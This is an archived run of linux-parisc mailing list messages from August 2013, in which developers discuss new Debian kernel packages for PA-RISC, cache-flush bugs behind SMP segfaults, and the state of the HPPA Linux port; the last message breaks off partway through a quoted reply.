From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Debian Kernel Packages
Date: Fri, 02 Aug 2013 00:20:41 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <51FADF39.4020505@gmx.de>
References: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375395814 9826 80.91.229.3 (1 Aug 2013 22:23:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Aug 2013 22:23:34 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 02 00:23:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V51Es-00057H-0i
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Aug 2013 00:20:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757977Ab3HAWUp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Aug 2013 18:20:45 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:61901 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753572Ab3HAWUo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Aug 2013 18:20:44 -0400
Original-Received: from [192.168.178.60] ([84.173.43.169]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MIMQR-1V3czV1qPv-004FsL for
 <linux-parisc@vger.kernel.org>; Fri, 02 Aug 2013 00:20:42 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl>
X-Provags-ID: V03:K0:i0sEhqtZzQ4X8GGNbyKM6pxOgLpSM15xEstqFAF4exgI3DS1eAw
 J32scx/yKg00S21doxkeh2SJNfd/yEaUTWvrELpo+T9OZ1ae6C+vzzll7iJKR4/JoV7Ayug
 tN6haFs4lwmJ6sYicZ3MTb+BO+FAy2kZ+CAAZcEBvHK95d8JgrGZTywPKVbGtnM5GiRKVzu
 zYuLqXBPgaKoRZx+F3/3A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5242>

Hi Dave,

On 07/30/2013 12:46 AM, John David Anglin wrote:
> The following kernel packages are now in the parisc-linux.org
> archive:
> 
> linux-image-3.10-1-parisc-smp_3.10.3-1_hppa.deb 
> linux-image-3.10-1-parisc64-smp_3.10.3-1_hppa.deb 
> linux-image-3.10-1-parisc64_3.10.3-1_hppa.deb 
> linux-image-3.10-1-parisc_3.10.3-1_hppa.deb

That's fantastic!
This brings us one big step further to being able to build a real debian-unstable-installer boot CD.

I'm still hoping the C8000 patches I pushed for inclusion into 3.11 will then
show up in stable 3.10 series soon as well. If that happens we will have a kernel
which should boot on all machines - including the c8000.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Debian Kernel Packages
Date: Thu, 1 Aug 2013 18:39:29 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <BLU0-SMTP3529F28468423082C0A26797500@phx.gbl>
References: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl> <51FADF39.4020505@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375396788 21014 80.91.229.3 (1 Aug 2013 22:39:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Aug 2013 22:39:48 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 02 00:39:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V51XA-0008MG-BO
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Aug 2013 00:39:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755232Ab3HAWjr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Aug 2013 18:39:47 -0400
Original-Received: from blu0-omc4-s9.blu0.hotmail.com ([65.55.111.148]:20333 "EHLO
	blu0-omc4-s9.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753507Ab3HAWjr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Aug 2013 18:39:47 -0400
Original-Received: from BLU0-SMTP35 ([65.55.111.135]) by blu0-omc4-s9.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 Aug 2013 15:39:46 -0700
X-EIP: [V9fxRsEONQZLh4qCgWy4LiTs6u8WvgXK]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP35.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 Aug 2013 15:39:45 -0700
In-Reply-To: <51FADF39.4020505@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Aug 2013 22:39:46.0043 (UTC) FILETIME=[05D134B0:01CE8F08]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5243
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5243>

On 1-Aug-13, at 6:20 PM, Helge Deller wrote:

> Hi Dave,
>
> On 07/30/2013 12:46 AM, John David Anglin wrote:
>> The following kernel packages are now in the parisc-linux.org
>> archive:
>>
>> linux-image-3.10-1-parisc-smp_3.10.3-1_hppa.deb
>> linux-image-3.10-1-parisc64-smp_3.10.3-1_hppa.deb
>> linux-image-3.10-1-parisc64_3.10.3-1_hppa.deb
>> linux-image-3.10-1-parisc_3.10.3-1_hppa.deb
>
> That's fantastic!
> This brings us one big step further to being able to build a real  
> debian-unstable-installer boot CD.
>
> I'm still hoping the C8000 patches I pushed for inclusion into 3.11  
> will then
> show up in stable 3.10 series soon as well. If that happens we will  
> have a kernel
> which should boot on all machines - including the c8000.


I have bootstrap tested the linux-image-3.10-1-parisc64- 
smp_3.10.3-1_hppa.deb package.  We'll
have to see if 3.10 will be the Debian choice for the next release.

As I mentioned in private, I have found that flush_cache_all() is the  
principal problem causing random
segmentation faults on SMP systems.  Unfortunately, the only fix so  
far is to not use flush_cache_all()
in flush_cache_mm() and flush_cache_range(), and this really slows  
things down running GCC
testsuite.  It doesn't seem to hurt much for other stuff.

My thought that this might be a timing issue didn't work.  I tried  
masking all external interrupts except for
IPI on all processors first, but it didn't help.  It may be this can  
be narrowed somewhat.  I suspect that we
have an inconsistent cache state during fork.

I think if this issue is fixed, c8000's will be worth a bit more than  
100 Euros...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Debian Kernel Packages
Date: Thu, 01 Aug 2013 15:52:05 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <1375397525.2070.17.camel@dabdike>
References: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl>
	 <51FADF39.4020505@gmx.de> <BLU0-SMTP3529F28468423082C0A26797500@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375397568 4512 80.91.229.3 (1 Aug 2013 22:52:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Aug 2013 22:52:48 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 02 00:52:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V51jg-0005Fb-4T
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Aug 2013 00:52:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757994Ab3HAWw3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Aug 2013 18:52:29 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40673 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757936Ab3HAWwH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Aug 2013 18:52:07 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 750C08EE0FB;
	Thu,  1 Aug 2013 15:52:06 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZiAu81mAZXpf; Thu,  1 Aug 2013 15:52:06 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0D5698EE0A4;
	Thu,  1 Aug 2013 15:52:06 -0700 (PDT)
In-Reply-To: <BLU0-SMTP3529F28468423082C0A26797500@phx.gbl>
X-Mailer: Evolution 3.8.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5244
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5244>

On Thu, 2013-08-01 at 18:39 -0400, John David Anglin wrote:
> On 1-Aug-13, at 6:20 PM, Helge Deller wrote:
> 
> > Hi Dave,
> >
> > On 07/30/2013 12:46 AM, John David Anglin wrote:
> >> The following kernel packages are now in the parisc-linux.org
> >> archive:
> >>
> >> linux-image-3.10-1-parisc-smp_3.10.3-1_hppa.deb
> >> linux-image-3.10-1-parisc64-smp_3.10.3-1_hppa.deb
> >> linux-image-3.10-1-parisc64_3.10.3-1_hppa.deb
> >> linux-image-3.10-1-parisc_3.10.3-1_hppa.deb
> >
> > That's fantastic!
> > This brings us one big step further to being able to build a real  
> > debian-unstable-installer boot CD.
> >
> > I'm still hoping the C8000 patches I pushed for inclusion into 3.11  
> > will then
> > show up in stable 3.10 series soon as well. If that happens we will  
> > have a kernel
> > which should boot on all machines - including the c8000.
> 
> 
> I have bootstrap tested the linux-image-3.10-1-parisc64- 
> smp_3.10.3-1_hppa.deb package.  We'll
> have to see if 3.10 will be the Debian choice for the next release.
> 
> As I mentioned in private, I have found that flush_cache_all() is the  
> principal problem causing random
> segmentation faults on SMP systems.

That would tend to indicate the architectural flush code is wrong: it
isn't flushing all as it should be.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Debian Kernel Packages
Date: Thu, 1 Aug 2013 19:29:51 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <BLU0-SMTP522B87E60AD62629BDAFE097500@phx.gbl>
References: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl> <51FADF39.4020505@gmx.de> <BLU0-SMTP3529F28468423082C0A26797500@phx.gbl> <1375397525.2070.17.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375399806 29536 80.91.229.3 (1 Aug 2013 23:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Aug 2013 23:30:06 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 02 01:30:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V52Jo-0008Cg-52
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Aug 2013 01:30:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755357Ab3HAXaD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Aug 2013 19:30:03 -0400
Original-Received: from blu0-omc4-s5.blu0.hotmail.com ([65.55.111.144]:31781 "EHLO
	blu0-omc4-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753533Ab3HAXaC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Aug 2013 19:30:02 -0400
Original-Received: from BLU0-SMTP52 ([65.55.111.136]) by blu0-omc4-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 Aug 2013 16:30:01 -0700
X-EIP: [LoUxdJOGXmEWHMCtFDybWPUlr17G5Vse]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP52.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 Aug 2013 16:30:00 -0700
In-Reply-To: <1375397525.2070.17.camel@dabdike>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Aug 2013 23:30:00.0668 (UTC) FILETIME=[0AAC79C0:01CE8F0F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5245>

On 1-Aug-13, at 6:52 PM, James Bottomley wrote:

> On Thu, 2013-08-01 at 18:39 -0400, John David Anglin wrote:
>> On 1-Aug-13, at 6:20 PM, Helge Deller wrote:
>>
>>> Hi Dave,
>>>
>>> On 07/30/2013 12:46 AM, John David Anglin wrote:
>>>> The following kernel packages are now in the parisc-linux.org
>>>> archive:
>>>>
>>>> linux-image-3.10-1-parisc-smp_3.10.3-1_hppa.deb
>>>> linux-image-3.10-1-parisc64-smp_3.10.3-1_hppa.deb
>>>> linux-image-3.10-1-parisc64_3.10.3-1_hppa.deb
>>>> linux-image-3.10-1-parisc_3.10.3-1_hppa.deb
>>>
>>> That's fantastic!
>>> This brings us one big step further to being able to build a real
>>> debian-unstable-installer boot CD.
>>>
>>> I'm still hoping the C8000 patches I pushed for inclusion into 3.11
>>> will then
>>> show up in stable 3.10 series soon as well. If that happens we will
>>> have a kernel
>>> which should boot on all machines - including the c8000.
>>
>>
>> I have bootstrap tested the linux-image-3.10-1-parisc64-
>> smp_3.10.3-1_hppa.deb package.  We'll
>> have to see if 3.10 will be the Debian choice for the next release.
>>
>> As I mentioned in private, I have found that flush_cache_all() is the
>> principal problem causing random
>> segmentation faults on SMP systems.
>
> That would tend to indicate the architectural flush code is wrong: it
> isn't flushing all as it should be.


That thought had occurred to me.  It's also possible that it doesn't  
work
properly with the L3 added in the PA8800/PA8900 systems.

What seems to work is flushing all the user mappings.

I should note that I have also seen corruption of space register %sr1
(added checks in the routines that use pa_memcpy).  I think the only
way that can happen is kernel stack corruption.  Probably, this is also
caused by flush_cache_all.  I know this issue has been around for
a long time.

I'll look at the flush code again.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: State of the PA-RISC/HPPA port (August 2013)
Date: Sat, 3 Aug 2013 22:41:19 +0200
Lines: 142
Approved: news@gmane.org
Message-ID: <20130803204119.GA2392@halden.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1375562495 1593 80.91.229.3 (3 Aug 2013 20:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Aug 2013 20:41:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 03 22:41:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V5idp-0007wJ-U9
	for glpp-linux-parisc@plane.gmane.org; Sat, 03 Aug 2013 22:41:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752979Ab3HCUlZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Aug 2013 16:41:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64335 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753174Ab3HCUlY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Aug 2013 16:41:24 -0400
Original-Received: from halden.box ([84.173.0.195]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LmKOI-1UXCpn0Ap0-00a0Sj for
 <linux-parisc@vger.kernel.org>; Sat, 03 Aug 2013 22:41:21 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:dtrTjsoAdVgNqlWNd+fC82jfa2EcMU0uLiDVxEsHBoJfcuDddmh
 +YxZuqYCjIeWZyFm4S2ZwKBatg7ssF4R3dAY8YGWl43duRMrn1UnGB7IKIHu/SG3CgT3+Db
 W+iF5q/XpAIuxaePL2LUDInCqM10LTtXIeD2zDuevw58GO+UycIq6NS/EV0aWayliiBOabQ
 LhPpi6JE163AIwOVMf+aA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5246 gmane.linux.debian.ports.hppa:6951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5246>

Hello everyone,

this is just a short update on the status of the parisc port from my point of
view, including a short summary of what have been done during the last few weeks
and what is planned for the near future. 

So, what's the status of the Linux kernel for parisc?

Basically, I think all major outstanding kernel patches are now in the upcoming
kernel 3.11 tree, and the important ones will show up in the stable kernel 3.10
series soon as well. Kernel 3.9 should be OK as well, but some patches might be
missing.

With kernel 3.11 (and 3.10.5 or higher) I expect most instability issues from
the past to be gone.  There might still be minor issues with userspace
segfaults (due to cache issues), but they are rare....

Looking back, the main problems of instability and kernel crashes in the past
were assumely due to 
   a) cache and TLB flushing were unreliable,
   b) kernel stack overflows (because of sudden irq processing which used too much stack), and
   c) miscompiled code in pa_memcpy() because of C-code which is not valid C...

Testing on my machines showed, that the kernels 3.10.x and 3.11 will boot in UP
and SMP mode on nearly all machines. Most notably, we now have support for the
C8000 workstation, for which serial ports and framebuffer mode with FireGL
cards should work (Thank you Thomas!). Even a patch for the BMC in the C8000
will probably be included latest with kernel 3.12.

Debian:
We have our own debian package repository at
http://ftp.parisc-linux.org/debian-ports/ which currently holds more than 8300
pre-built debian packages (Thank you Dave!!!).  Even pre-built debian 3.10
kernel images are now available there.  We don't yet have a real
debian-installation media yet.
I've prepared a bootable image and some instructions on how to install
debian-unstable from our repository, but you should only try this if you are a
linux/parisc expert.  Brave people will find those instructions here:
http://wiki.parisc-linux.org/Debian_Ports_Installation For all others I'd
suggest to wait until we have the debian-installer finished, which is still one
of my top-priorities.

Furthermore, we sadly still don't have buildd-server. What really is missing
here is someone who is willing to host a parisc server and provide enough
direct bandwith to the internet.  Giving away real server hardware is probably
doable (and those parisc machines luckily aren't expensive any longer on ebay
:-)) and even administration would be done by Dave, me or someone else if
necessary.
On the other side, Dave has the buildd/wanna-build software installed on his
machine.  The wanna-build software needs a custom trigger script to handle
running on a non local machine.  It is needed to populate the source and
packages database.  Maybe, somebody has already done this and may give him a
hint?

Gentoo:
If you don't want to wait for debian, I'd suggest that you try Gentoo instead.
For instructions please see their website at
http://www.gentoo.org/main/en/where.xml (architecture hppa).

PARISC website:
Our current parisc website at http://www.parisc-linux.org is still based on
CVS, and it's sometimes unreliable (means: sometimes it's not reachable).  To
solve this issue my plan is to migrate it's content in september to the wiki at
kernel.org: https://parisc.wiki.kernel.org/
If someone is interested in doing that - and maybe has some interest and
knowledge in how nice web sites should look like, please let me know!

TODO:
There is still much on my todo list, most importantly
- keep pushing kernel patches upstream (https://patchwork.kernel.org/project/linux-parisc/list/)
- build a debian-installer ISO, and
- migrate the website.
For all other things I keep a personal TODO-list at
http://wiki.parisc-linux.org/TODO. Again, volunteers for some of those topics
are always welcome!

Last but not least I want to say a thank-you to all people who have contributed
to this project during the last weeks. The following list of people is taken
purely from the kernel git tree and shows those who have directly or indirectly
contributed to parisc kernel source tree. Same thank-you goes of course to all
other here unnamed people who have tested stuff, reported issues, fixed
userspace or kept on the discussion.

THANK YOU!

Helge



List of contributors to the kernel tree:
----------------------------------------
Alex Ivanov
Al Viro
Bill Pemberton
Bjorn Helgaas
Chen Gang
Cong Wang
Damian Hobson-Garcia
David Howells
Frederic Weisbecker
Geert Uytterhoeven
Guy Martin
Helge Deller
H. Peter Anvin
James Bottomley
Jiang Liu
Jiri Slaby
Joe Perches
John David Anglin
John Stultz
Julia Lawall
Kautuk Consul
Kees Cook
Kyle McMartin
Larry Finger
Mathias Krause
Matt Fleming
Michael S. Tsirkin
Michel Lespinasse
Mike Frysinger
Myron Stowe
Nikitas Angelinas
Paul Bolle
Paul Gortmaker
Peter Huewe
Peter Zijlstra
Rolf Eike Beer
Srivatsa S. Bhat
Thomas Bogendoerfer
Thomas Gleixner
Torben Hohn
Wei Yongjun
Will Deacon
Yinghai Lu
Yong Zhang
Zhao Hongjiang

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Sun, 04 Aug 2013 15:00:33 +0400
Lines: 45
Approved: news@gmane.org
Message-ID: <995101375614033@web11d.yandex.ru>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org> <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl> <216411373487566@web6f.yandex.ru> <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com> <518401373491752@web17h.yandex.ru> <51DF0B90.3040506@gmx.de> <51DF0BEF.6020304@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1375614404 17673 80.91.229.3 (4 Aug 2013 11:06:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Aug 2013 11:06:44 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 04 13:06:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V5w95-0001l4-Sb
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Aug 2013 13:06:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751313Ab3HDLGn convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Aug 2013 07:06:43 -0400
Original-Received: from forward1.mail.yandex.net ([77.88.46.6]:37051 "EHLO
	forward1.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751197Ab3HDLGm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Aug 2013 07:06:42 -0400
X-Greylist: delayed 366 seconds by postgrey-1.27 at vger.kernel.org; Sun, 04 Aug 2013 07:06:42 EDT
Original-Received: from web11d.yandex.ru (web11d.yandex.ru [77.88.47.156])
	by forward1.mail.yandex.net (Yandex) with ESMTP id 3B49A1241594
	for <linux-parisc@vger.kernel.org>; Sun,  4 Aug 2013 15:00:34 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web11d.yandex.ru (Yandex) with ESMTP id E77CB60214F6;
	Sun,  4 Aug 2013 15:00:33 +0400 (MSK)
Original-Received: from ppp91-77-222-149.pppoe.mtu-net.ru (ppp91-77-222-149.pppoe.mtu-net.ru [91.77.222.149]) by web11d.yandex.ru with HTTP;
	Sun, 04 Aug 2013 15:00:33 +0400
In-Reply-To: <51DF0BEF.6020304@gmx.de>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5247>

11.07.2013, 23:48, "Helge Deller" <deller@gmx.de>:
> adding linux parisc mailing list...:
>
> On 07/11/2013 09:46 PM, Helge Deller wrote:
>
>> =9AOn 07/10/2013 11:29 PM, Alex Ivanov wrote:
>>> =9A11.07.2013, 01:14, "Matt Turner" <mattst88@gmail.com>:
